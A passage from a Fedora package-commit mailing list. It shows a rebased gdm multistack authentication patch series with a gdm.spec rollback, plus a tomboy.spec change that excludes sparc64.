          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -16723,7 +16666,7 @@ index e316174..a43a462 100644
          if (gdm_task_list_get_number_of_tasks (GDM_TASK_LIST (login_window->priv->conversation_list)) == 0) {
                  gtk_widget_hide (login_window->priv->conversation_list);
          } else {
-@@ -1996,6 +1993,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2002,6 +1999,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                  GDM_TASK (extension));
  
          service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (extension));
@@ -16850,13 +16793,13 @@ index 6fa01fb..25d5de4 100644
  
  static void
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 80d3f5efa1946fba373d7bb1aa6d86747f0c6c86 Mon Sep 17 00:00:00 2001
+From 669e4eb5c9afc0d08e2e5fdc95f9c84ab1d23335 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 24 Feb 2009 15:12:35 -0500
-Subject: [PATCH 42/53] Separate handling of non-users in user list from users
+Subject: [PATCH 38/48] Separate handling of non-users in user list from users
 
 Now get_chosen_user returns NULL if the activated item
 wasn't a user.  We also separate the handling of on item
@@ -16871,10 +16814,10 @@ added items.
  3 files changed, 56 insertions(+), 22 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index a43a462..23ced52 100644
+index e095b4e..697189a 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1125,29 +1125,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1131,29 +1131,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -16935,7 +16878,7 @@ index a43a462..23ced52 100644
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
                                 login_window->priv->timed_login_username);
  
-@@ -1157,16 +1177,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -1163,16 +1183,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  /* just wait for the user to select language and stuff */
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
@@ -16954,7 +16897,7 @@ index a43a462..23ced52 100644
  }
  
  static void
-@@ -1455,7 +1470,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1461,7 +1476,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
                            login_window);
          g_signal_connect (login_window->priv->user_chooser,
                            "activated",
@@ -16964,7 +16907,7 @@ index a43a462..23ced52 100644
          g_signal_connect (login_window->priv->user_chooser,
                            "deactivated",
 diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index 77e06a7..bff71e5 100644
+index 167e324..75cf7ed 100644
 --- a/gui/simple-greeter/gdm-user-chooser-widget.c
 +++ b/gui/simple-greeter/gdm-user-chooser-widget.c
 @@ -269,9 +269,30 @@ gdm_user_chooser_widget_set_show_user_auto (GdmUserChooserWidget *widget,
@@ -17013,13 +16956,13 @@ index 7aa99e7..316ef46 100644
  }
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 14b7d7bc52e270c7bbb1a25d128fe96d91cd20c7 Mon Sep 17 00:00:00 2001
+From 1a9d81b937e0017749537cb71b5ea70dcc179c07 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 27 Feb 2009 15:44:13 -0500
-Subject: [PATCH 43/53] Initiate smart card auth when clicking on it in list
+Subject: [PATCH 39/48] Initiate smart card auth when clicking on it in list
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c      |   24 ++++++++++++++++++++
@@ -17027,10 +16970,10 @@ Subject: [PATCH 43/53] Initiate smart ca
  2 files changed, 25 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 23ced52..af21af3 100644
+index 697189a..661023f 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -652,6 +652,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -658,6 +658,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
          set_message (login_window, "");
          switch_mode (login_window, MODE_SELECTION);
  
@@ -17038,7 +16981,7 @@ index 23ced52..af21af3 100644
          set_sensitive (login_window, TRUE);
          set_ready (login_window);
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -1145,6 +1146,7 @@ static void
+@@ -1151,6 +1152,7 @@ static void
  on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                             GdmGreeterLoginWindow *login_window)
  {
@@ -17046,7 +16989,7 @@ index 23ced52..af21af3 100644
          char *item_id;
  
          user_name = gdm_user_chooser_widget_get_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser));
-@@ -1178,6 +1180,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1184,6 +1186,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17089,13 +17032,13 @@ index 25d5de4..a9e41f4 100644
                          gdm_conversation_cancel (GDM_CONVERSATION (extension));
                  }
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 634e1d954b2ed35126ca87861ffdbeffedb5397f Mon Sep 17 00:00:00 2001
+From 8dafa2ee4d4c0cbb1084799842fcebcdafc598d6 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 11:10:28 -0500
-Subject: [PATCH 44/53] Only show task list if user is selected
+Subject: [PATCH 40/48] Only show task list if user is selected
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   32 ++++++++++++++----------
@@ -17103,7 +17046,7 @@ Subject: [PATCH 44/53] Only show task li
  2 files changed, 28 insertions(+), 15 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index af21af3..9041f76 100644
+index 661023f..ed47b52 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -526,6 +526,7 @@ switch_mode (GdmGreeterLoginWindow *login_window,
@@ -17138,7 +17081,7 @@ index af21af3..9041f76 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -1163,11 +1172,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1169,11 +1178,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
  
          if (strcmp (item_id, GDM_USER_CHOOSER_USER_OTHER) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting all auth conversations");
@@ -17154,7 +17097,7 @@ index af21af3..9041f76 100644
          } else if (strcmp (item_id, GDM_USER_CHOOSER_USER_AUTO) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting auto login");
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
-@@ -1180,6 +1192,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1186,6 +1198,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17163,7 +17106,7 @@ index af21af3..9041f76 100644
          } else {
                  GdmTask *task;
  
-@@ -1194,18 +1208,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1200,18 +1214,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                          return;
                  }
                  g_debug ("GdmGreeterLoginWindow: Beginning auth conversation for item %s", item_id);
@@ -17186,7 +17129,7 @@ index af21af3..9041f76 100644
  }
  
  static void
-@@ -1518,7 +1531,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1524,7 +1537,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    "deactivated",
                                    G_CALLBACK (on_task_deactivated),
                                    login_window);
@@ -17194,7 +17137,7 @@ index af21af3..9041f76 100644
  
          login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
-@@ -2022,12 +2034,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2028,12 +2040,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -17239,13 +17182,13 @@ index 25831a6..162b784 100644
  
  int
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From a3d474a6a37a7b376b9d534ac48f8888b6839835 Mon Sep 17 00:00:00 2001
+From 71fd47612790465472f8fb89a9d687c5275e3843 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:53:34 -0500
-Subject: [PATCH 45/53] Pull verification functions out into their own subroutines
+Subject: [PATCH 41/48] Pull verification functions out into their own subroutines
 
 This makes the function smaller and easier to read
 ---
@@ -17253,10 +17196,10 @@ This makes the function smaller and easi
  1 files changed, 95 insertions(+), 40 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 9041f76..fb54e5f 100644
+index ed47b52..372e5f8 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1110,6 +1110,17 @@ begin_task_verification (GdmTaskList           *task_list,
+@@ -1116,6 +1116,17 @@ begin_task_verification (GdmTaskList           *task_list,
          return FALSE;
  }
  
@@ -17274,7 +17217,7 @@ index 9041f76..fb54e5f 100644
  static gboolean
  begin_task_verification_for_selected_user (GdmTaskList           *task_list,
                                             GdmTask               *task,
-@@ -1135,6 +1146,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1141,6 +1152,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -17290,7 +17233,7 @@ index 9041f76..fb54e5f 100644
  on_user_chosen (GdmGreeterLoginWindow *login_window,
                  const char            *user_name)
  {
-@@ -1143,12 +1163,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
+@@ -1149,12 +1169,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
          g_signal_emit (G_OBJECT (login_window), signals[USER_SELECTED],
                         0, user_name);
  
@@ -17371,7 +17314,7 @@ index 9041f76..fb54e5f 100644
  }
  
  static void
-@@ -1170,54 +1256,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1176,54 +1262,23 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
          item_id = gdm_chooser_widget_get_active_item (GDM_CHOOSER_WIDGET (user_chooser));
          g_debug ("GdmGreeterLoginWindow: item chosen '%s'", item_id);
  
@@ -17434,13 +17377,13 @@ index 9041f76..fb54e5f 100644
  }
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 6e4ec39d76631d1a9d00aa7145dcaef9f96b4899 Mon Sep 17 00:00:00 2001
+From 0d19a210f5395b2923a200e277814aacae431a4f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:57:34 -0500
-Subject: [PATCH 46/53] Add new function find_task_with_service_name
+Subject: [PATCH 42/48] Add new function find_task_with_service_name
 
 It hides a bunch of icky foreach calls.
 ---
@@ -17448,10 +17391,10 @@ It hides a bunch of icky foreach calls.
  1 files changed, 22 insertions(+), 28 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fb54e5f..28c9ab2 100644
+index 372e5f8..863e860 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -612,6 +612,20 @@ task_has_service_name (GdmTaskList *task_list,
+@@ -618,6 +618,20 @@ task_has_service_name (GdmTaskList *task_list,
          return has_service_name;
  }
  
@@ -17472,7 +17415,7 @@ index fb54e5f..28c9ab2 100644
  static gboolean
  reset_task (GdmTaskList           *task_list,
              GdmTask               *task,
-@@ -717,10 +731,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -723,10 +737,7 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17484,7 +17427,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  if (gdm_chooser_widget_is_loaded (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser))) {
-@@ -749,10 +760,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -755,10 +766,7 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17496,7 +17439,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  gdm_conversation_reset (GDM_CONVERSATION (task));
-@@ -820,10 +828,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -816,10 +824,7 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: info: %s", text);
  
@@ -17508,7 +17451,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -844,10 +849,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -850,10 +855,7 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
          g_debug ("GdmGreeterLoginWindow: problem: %s", text);
  
@@ -17520,7 +17463,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  gdm_conversation_set_message (GDM_CONVERSATION (task),
-@@ -949,10 +951,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -955,10 +957,8 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
  
          g_debug ("GdmGreeterLoginWindow: info query: %s", text);
  
@@ -17533,7 +17476,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_question (GDM_CONVERSATION (task),
-@@ -980,10 +980,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -986,10 +986,7 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  
          g_return_val_if_fail (GDM_IS_GREETER_LOGIN_WINDOW (login_window), FALSE);
  
@@ -17545,7 +17488,7 @@ index fb54e5f..28c9ab2 100644
  
          if (task != NULL) {
                  gdm_conversation_ask_secret (GDM_CONVERSATION (task),
-@@ -1213,10 +1210,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
+@@ -1219,10 +1216,7 @@ begin_single_service_verification (GdmGreeterLoginWindow *login_window,
  {
          GdmTask *task;
  
@@ -17558,13 +17501,13 @@ index fb54e5f..28c9ab2 100644
          if (task == NULL) {
                  g_debug ("GdmGreeterLoginWindow: %s has no task associated with it", service_name);
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From cd7e032237d37b1072efc5612346a705f18a1bd7 Mon Sep 17 00:00:00 2001
+From af024db353d19d1f7d3d02f86d79fdf99a8f0457 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 17:09:16 -0500
-Subject: [PATCH 47/53] Notify plugins if their user choose requests fail
+Subject: [PATCH 43/48] Notify plugins if their user choose requests fail
 
 This allows the smart card plugin to cancel pending
 conversations when a card gets inserted.
@@ -17591,10 +17534,10 @@ index d5455e1..d8a9e72 100644
  VOID:DOUBLE
 +BOOLEAN:STRING
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 28c9ab2..e2600fb 100644
+index 863e860..cb12978 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1910,7 +1910,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
+@@ -1916,7 +1916,7 @@ on_conversation_cancel (GdmGreeterLoginWindow *login_window,
          do_cancel (login_window);
  }
  
@@ -17603,7 +17546,7 @@ index 28c9ab2..e2600fb 100644
  on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                              const char            *username,
                              GdmConversation       *conversation)
-@@ -1921,7 +1921,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1927,7 +1927,13 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  name = gdm_task_get_name (GDM_TASK (conversation));
                  g_warning ("Task %s is trying to choose user before list is loaded", name);
                  g_free (name);
@@ -17618,7 +17561,7 @@ index 28c9ab2..e2600fb 100644
          }
  
          if (gdm_task_list_set_active_task (GDM_TASK_LIST (login_window->priv->conversation_list),
-@@ -1929,6 +1935,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
+@@ -1935,6 +1941,8 @@ on_conversation_chose_user (GdmGreeterLoginWindow *login_window,
                  gdm_user_chooser_widget_set_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser),
                                                                username);
          }
@@ -17771,13 +17714,13 @@ index a9e41f4..274132e 100644
  
  char *
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 1b8d1fd31b5e6290111f3a6b3697ec6dc61b26f1 Mon Sep 17 00:00:00 2001
+From cd898cdf45186aa0525a1925f21cd0ad73e1c417 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 13 Apr 2009 14:19:50 -0400
-Subject: [PATCH 48/53] reset all conversations if password conversation fails
+Subject: [PATCH 44/48] reset all conversations if password conversation fails
 
 This is a temporary hack until we store plugin policy in
 gconf.
@@ -17786,10 +17729,10 @@ gconf.
  1 files changed, 10 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e2600fb..fc12f36 100644
+index cb12978..fda4ba0 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -760,6 +760,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -766,6 +766,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
  
          g_debug ("GdmGreeterLoginWindow: conversation '%s' has stopped", service_name);
  
@@ -17807,13 +17750,13 @@ index e2600fb..fc12f36 100644
  
          if (task != NULL) {
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 6495837d40ed163862ab8bad5b9d5493d54fc388 Mon Sep 17 00:00:00 2001
+From 55863d6c1974e7881cb644369d4a65ccf11475ec Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 10:25:18 -0400
-Subject: [PATCH 49/53] When one PAM conversation wins, stop the others
+Subject: [PATCH 45/48] When one PAM conversation wins, stop the others
 
 This doesn't work yet, it's still in progress code.
 ---
@@ -17822,10 +17765,10 @@ This doesn't work yet, it's still in pro
  2 files changed, 46 insertions(+), 20 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 738267a..52a67c4 100644
+index b74c765..d5209f4 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2258,6 +2258,40 @@ gdm_session_direct_open_session (GdmSession *session,
+@@ -2256,6 +2256,40 @@ gdm_session_direct_open_session (GdmSession *session,
  }
  
  static void
@@ -17866,7 +17809,7 @@ index 738267a..52a67c4 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2269,12 +2303,20 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2267,12 +2301,20 @@ gdm_session_direct_start_session (GdmSession *session,
          g_return_if_fail (session != NULL);
          g_return_if_fail (impl->priv->is_running == FALSE);
  
@@ -17889,7 +17832,7 @@ index 738267a..52a67c4 100644
          setup_session_environment (impl);
          send_environment (impl, conversation);
  
-@@ -2285,23 +2327,7 @@ gdm_session_direct_start_session (GdmSession *session,
+@@ -2283,23 +2325,7 @@ gdm_session_direct_start_session (GdmSession *session,
  static void
  stop_all_conversations (GdmSessionDirect *session)
  {
@@ -17928,13 +17871,13 @@ index 337718b..63ea82c 100644
                                                                 service_name);
                  if (! res) {
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
+From 0887e6298a4435c3d4e9ad7f553fe32bce363413 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 50/53] When one PAM conv. wins, actually stop the others
+Subject: [PATCH 46/48] When one PAM conv. wins, actually stop the others
 
 We weren't properly keeping the winning conversation
 around in the previous commit
@@ -17943,10 +17886,10 @@ around in the previous commit
  1 files changed, 10 insertions(+), 3 deletions(-)
 
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 52a67c4..7cc5511 100644
+index d5209f4..d2ffc87 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
-@@ -2282,13 +2282,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
+@@ -2280,13 +2280,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
                  conversation = (GdmSessionConversation *) value;
  
                  if (conversation == conversation_to_keep) {
@@ -17971,13 +17914,13 @@ index 52a67c4..7cc5511 100644
  
  static void
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
+From 749f107a23ee2d768dd2de7cd9bf0434f8f54ce9 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 51/53] KILL pam stack instead of TERM pam stack
+Subject: [PATCH 47/48] KILL pam stack instead of TERM pam stack
 
 Some PAM modules are really slow to shut down.
 We need to handle them being slow to shut down better,
@@ -18003,23 +17946,23 @@ index 0327d77..d99b8a5 100644
          if (res < 0) {
                  g_warning ("Unable to kill session worker process");
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
+From 77491957d3822f1fbe4e0cb7d9c124e16ac8f617 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 52/53] Don't show tasklist for autologin
+Subject: [PATCH 48/48] Don't show tasklist for autologin
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
  1 files changed, 5 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fc12f36..8af5452 100644
+index fda4ba0..ce8fa38 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
+@@ -1195,6 +1195,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
          set_message (login_window, _("Select language and click Log In"));
  
          switch_mode (login_window, MODE_AUTHENTICATION);
@@ -18032,39 +17975,5 @@ index fc12f36..8af5452 100644
  
  static gboolean
 -- 
-1.6.5.1
-
-
-From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 23 Oct 2009 17:39:19 -0400
-Subject: [PATCH 53/53] Drop the other hiding stuff for now.
-
-It depends on buttons being available that we don't have
-in the multi-stack branch.
----
- gui/simple-greeter/gdm-user-chooser-widget.c |    8 +-------
- 1 files changed, 1 insertions(+), 7 deletions(-)
-
-diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index bff71e5..4d3c445 100644
---- a/gui/simple-greeter/gdm-user-chooser-widget.c
-+++ b/gui/simple-greeter/gdm-user-chooser-widget.c
-@@ -140,13 +140,7 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
-                 return;
-         }
- 
--        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
--
--        /* we hide the Other user if it's the last one, and we show it
--         * if there's another user */
--        if (number_of_users == 1 && widget->priv->has_user_other) {
--                remove_user_other (widget);
--        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
-+        if (!widget->priv->has_user_other) {
-                 add_user_other (widget);
-         }
- }
--- 
-1.6.5.1
+1.6.5.rc2
 


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.505
retrieving revision 1.506
diff -u -p -r1.505 -r1.506
--- gdm.spec	26 Oct 2009 14:57:11 -0000	1.505
+++ gdm.spec	26 Oct 2009 19:06:52 -0000	1.506
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 9%{?dist}
+Release: 6%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -104,7 +104,6 @@ Patch20: gdm-2.28.1-move-shutdown-functi
 Patch21: fix-clock.patch
 Patch22: fix-timer.patch
 Patch23: fix-na-tray.patch
-Patch24: fix-computer-info.patch
 
 Patch97: gdm-multistack.patch
 # Fedora-specific
@@ -154,7 +153,6 @@ The GDM fingerprint plugin provides func
 %patch21 -p1 -b .fix-clock
 %patch22 -p1 -b .fix-timer
 %patch23 -p1 -b .fix-na-tray
-%patch24 -p1 -b .fix-computer-info
 
 %patch97 -p1 -b .multistack
 %patch98 -p1 -b .bubble-location
@@ -407,19 +405,8 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
-* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-9
-- Don't show hostname by default if it's localhost
-
-* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-8
-- Attempt to fix crash some users see.
-- Clean up rebase
-
-* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-7
-- Show Other user even when there are no other users
-  (bug 527920)
-
-* Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
-- Properly read default keyboard layout (bug 530452)
+* Mon Oct 26 2009 Ray Strode <rstrode at redhat.com> 2.28.1-6
+- Position shutdown menu properly on multihead machines
 
 * Fri Oct 23 2009 Ray Strode <rstrode at redhat.com> 2.28.1-5
 - Remove tool tip from login button



From ausil at fedoraproject.org  Mon Oct 26 19:07:26 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:07:26 +0000 (UTC)
Subject: rpms/tomboy/devel tomboy.spec,1.125,1.126
Message-ID: <20091026190726.EDDC111C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/tomboy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12491

Modified Files:
	tomboy.spec 
Log Message:
Exclude sparc64



Index: tomboy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tomboy/devel/tomboy.spec,v
retrieving revision 1.125
retrieving revision 1.126
diff -u -p -r1.125 -r1.126
--- tomboy.spec	22 Sep 2009 02:48:08 -0000	1.125
+++ tomboy.spec	26 Oct 2009 19:07:25 -0000	1.126
@@ -1,6 +1,6 @@
 Name:           tomboy
 Version:        1.0.0
-Release: 	1%{?dist}
+Release: 	2%{?dist}
 Summary:        Note-taking application
 
 Group:          User Interface/Desktops
@@ -32,6 +32,7 @@ BuildRequires:  automake, autoconf, libt
 
 Requires:	gtkspell
 
+ExcludeArch:    sparc64
 
 %description
 Tomboy is a desktop note-taking application which is simple and easy to use.
@@ -137,6 +138,9 @@ fi
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0.0-2
+- exclude sparc64  no mono available
+
 * Mon Sep 21 2009 Matthias Clasen <mclasen at redhat.com> - 1.0.0-1
 - Update to 1.0.0
 



From ausil at fedoraproject.org  Mon Oct 26 19:10:06 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:10:06 +0000 (UTC)
